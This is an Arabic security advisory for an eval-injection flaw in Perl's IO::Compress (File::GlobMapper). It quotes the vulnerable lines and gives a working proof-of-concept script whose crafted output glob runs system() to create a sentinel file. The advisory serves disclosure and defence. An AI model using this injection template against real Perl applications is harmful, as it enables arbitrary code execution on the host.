
CVE-2026-48962 - IO::Compress - تنفيذ التعليمات البرمجية
ثغرة حقن تعليمة eval في File::GlobMapper::_getFiles() تسمح لأي مهاجم يمكنه التحكم في وسيط fileglob الناتج المُمرَّر إلى IO::Compress::Gzip::gzip() أو IO::Compress::Zip::zip() أو أي دالة شقيقة بتنفيذ كود برمجي تعسفي بلغة Perl في سياق العملية الجارية. لا حاجة للمصادقة. التأثير كامل: السرية والنزاهة والتوفر للعملية المضيفة معرضة للخطر تمامًا.
تقوم File::GlobMapper::_parseOutputGlob() ببناء قالب لاسم الملف الناتج عن طريق لف نمط الإخراج الذي يوفره المتصل في علامتي تنصيص مزدوجتين بلغة Perl وتخزين النتيجة. ثم تمرر _getFiles() تلك السلسلة مباشرة إلى eval دون أي تنقية:
lib/File/GlobMapper.pm:316–321
$string =~ s/${noPreBS}#(\d)/\${$1}/g;
$string =~ s#${noPreBS}\*#\${inFile}#g;
$string = '"' . $string . '"'; # wrapped in double-quotes
$self->{OutputPattern} = $string; # stored verbatim — no escaping
lib/File/GlobMapper.pm:342
eval "\$outFile = $self->{OutputPattern};" ; # executed — injection point
يتم استدعاء File::GlobMapper تلقائيًا عندما تكون كل من وسيطتي الإدخال والإخراج لدالة IO::Compress::* / IO::Uncompress::* عبارة عن سلاسل fileglob (محددة بـ < >). هذه اصطلاح استدعاء موثق وشائع. الدوال المتأثرة تشمل gzip و zip و bzip2 و deflate و rawdeflate وجميع نظائرها في IO::Uncompress::*.
أي حرف يغلق سلسلة Perl المزدوجة المحيطة — علامة تنصيص مزدوجة حرفية "، أو backtick `، أو ${...}، أو @{...} — متبوعًا بكود برمجي تعسفي يتم تنفيذه حرفيًا.
احفظه باسم poc.pl وشغّله باستخدام perl poc.pl:
#!/usr/bin/perl
use strict;
use warnings;
use File::Temp qw(tempdir);
use IO::Compress::Gzip qw(gzip);
my $dir = tempdir(CLEANUP => 1);
my $sentinel = "/tmp/CVE_GlobMapper_RCE_$$";
# Create a legitimate input file that the input glob will match
open my $fh, '>', "$dir/test.txt" or die $!;
print $fh "data\n";
close $fh;
my $malicious = qq(<$dir/out.gz"; system("touch $sentinel"); #>);
print "Sentinel before: ", (-e $sentinel ? "EXISTS" : "absent"), "\n";
eval { gzip "<$dir/*.txt>" => $malicious };
if (-e $sentinel) {
print "EXPLOITED — arbitrary command executed via eval injection\n";
print "Sentinel: $sentinel\n";
unlink $sentinel;
} else {
print "Did not fire (check error: $@)\n";
}
المخرجات المتوقعة:
Sentinel before: absent
EXPLOITED — arbitrary command executed via eval injection
Sentinel: /tmp/CVE_GlobMapper_RCE_<pid>
تم التأكيد على الإصدار IO-Compress 2.219 / Perl 5.40.1 / Ubuntu 26.04.
هذه ثغرة تنفيذ تعليمات برمجية عن بُعد (remote code execution). أي تطبيق ويب، أو خدمة API، أو أداة CLI، أو خط أنابيب معالجة دفعي يقبل إدخال المستخدم ويمرره كوسيط fileglob ناتج إلى أي دالة IO::Compress::* يعتبر ضعيفًا. يتم تنفيذ الكود المحقون بصلاحيات العملية المستدعية الكاملة.
من المتأثر: المطورون ومشغلو تطبيقات Perl التي تستخدم دوال IO::Compress::* مع اصطلاح استدعاء fileglob وحيث يكون نمط الإخراج مشتقًا من إدخال غير موثوق — مثل قوالب أسماء الملفات من نماذج الويب، أو معاملات REST API، أو وسائط CLI، أو ملفات التهيئة التي يتحكم بها مستخدمون غير مميزين.
في سياقات setuid أو الخوادم المميزة، يؤدي الاستغلال إلى تنفيذ كود بمستوى الصلاحية المرتفع. الثغرة موجودة منذ الإصدار الأولي من File::GlobMapper (حوالي 2005) وهي موجودة في كل توزيعة لينكس تشحن حزمة perl.